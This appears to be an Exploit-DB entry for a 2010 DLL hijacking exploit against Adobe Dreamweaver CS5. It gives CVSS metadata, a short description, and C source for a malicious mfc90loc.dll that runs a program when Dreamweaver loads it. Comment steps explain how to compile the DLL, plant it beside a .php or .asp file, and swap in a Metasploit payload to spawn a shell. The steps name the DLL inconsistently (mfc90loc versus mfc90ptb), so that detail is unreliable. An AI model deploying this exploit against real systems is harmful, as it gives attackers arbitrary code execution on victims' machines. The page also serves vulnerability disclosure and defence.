Adobe Dreamweaver CS5 DLL Hijacking Exploit (mfc90loc.dll)

vendor:

Dreamweaver

by:

Bruno Filipe

9,3

CVSS

HIGH

DLL Hijacking

427

CWE

Product Name: Dreamweaver

Affected Version From: <= 11.0 build 4909

Affected Version To: <= 11.0 build 4909

Patch Exists: Yes

Related CWE: N/A

CPE: a:adobe:dreamweaver:11.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WinXP SP2, WinXP SP3

2010

Adobe Dreamweaver CS5 DLL Hijacking Exploit (mfc90loc.dll)

This exploit allows an attacker to execute arbitrary code on a vulnerable system by hijacking a DLL file associated with Adobe Dreamweaver CS5. The attacker can create a malicious DLL file and place it in the same directory as a file handled by Dreamweaver, such as a .php or .asp file. When the vulnerable application is launched, the malicious DLL will be executed, allowing the attacker to run arbitrary code.

Mitigation:

Ensure that all applications are up to date and patched with the latest security updates.

Source

Exploit-DB raw data:

/*
# Exploit Title: Adobe Dreamweaver CS5 DLL Hijacking Exploit (mfc90loc.dll)
# Date: 25/08/2010
# Author: Bruno Filipe (diwr) http://digitalacropolis.us
# Software Link: http://www.adobe.com <http://www.bsplayer.org>
# Version: <= 11.0 build 4909
# Tested on: WinXP SP2, WinXP SP3
# Other Adobe CS5 products may be vulnerable too.
# Thx TheLeader ;)
#
----------------------------------------------------------------------------------------------------------
# This should work with any file handled by Dreamweaver (.php, .asp, etc)
# 1. gcc dllmain.c -o mfc90loc.dll
# 2. Put mfc90ptb.dll in the same directory of a file handled by Dw (EG:
anything.php)
# 3. You can generate a msfpayload DLL and spawn a shell, for example.
#
----------------------------------------------------------------------------------------------------------
*/

#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
}